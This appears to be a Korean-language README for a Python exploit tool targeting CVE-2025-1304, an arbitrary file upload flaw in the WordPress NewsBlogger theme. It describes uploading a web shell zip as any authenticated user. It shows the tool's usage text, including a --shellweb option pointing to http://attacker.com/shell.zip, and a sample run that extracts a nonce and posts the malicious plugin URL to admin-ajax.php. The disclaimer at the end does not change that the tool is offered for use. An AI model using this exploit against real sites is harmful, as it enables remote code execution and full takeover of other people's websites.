
WordPress NewsBlogger Theme <= 0.2.5.1은 임의 파일 업로드에 취약합니다.
CVSS 점수: 8.8 (높음)
취약점 유형: 임의 파일 업로드
구성 요소: WordPress 테마
CVE ID: CVE-2025-1304
NewsBlogger WordPress 테마(버전 <= 0.2.5.1)는 관리자 환영 패널을 통해 임의 파일 업로드에 취약합니다.
이 취약점은 최소한의 구독자 역할을 포함한 모든 인증된 사용자가 웹 셸을 포함하는 악성 .zip 아카이브를 업로드할 수 있도록 합니다.
업로드는 검증되지 않은 플러그인 URL 필드를 통해 발생하며, 이 필드는 업로드된 파일의 내용이나 유형을 적절히 확인하지 못합니다.
성공적인 공격은 원격 명령 실행 및 권한 상승을 포함한 웹사이트의 완전한 손상으로 이어질 수 있습니다.
이 Python 스크립트는 다음을 통해 취약점 악용을 자동화합니다:
nonce 추출.python CVE-2025-1304.py -h
usage: a.py [-h] --url URL --username USERNAME --password PASSWORD --shellweb SHELLWEB
WordPress NewsBlogger Theme vulnerable to Arbitrary File Upload #By: Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
--url, -u URL Target base URL (e.g., http://target/wordpress)
--username, -un USERNAME WordPress admin username
--password, -p PASSWORD WordPress admin password
--shellweb, -shell SHELLWEB
Direct URL to the malicious shell zip (e.g., http://attacker.com/shell.zip)
[+] Logging in to http://target/wordpress/wp-login.php
[+] Logged in successfully.
[+] Fetching welcome page to extract nonce: http://target/wordpress/wp-admin/admin.php?page=newsblogger-welcome
[+] Extracted nonce: 012818100b
[+] Sending malicious plugin URL to: http://target/wordpress/wp-admin/admin-ajax.php
[+] Server response:
{"success":true,"data":{"redirect_url":"http://target/wordpress/wp-admin/admin.php?page=newsblogger-welcome"}}
이 코드는 교육 및 권한이 부여된 보안 테스트 목적으로만 제공됩니다.
저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
작성자: Nxploited ( Khaled Alenazi)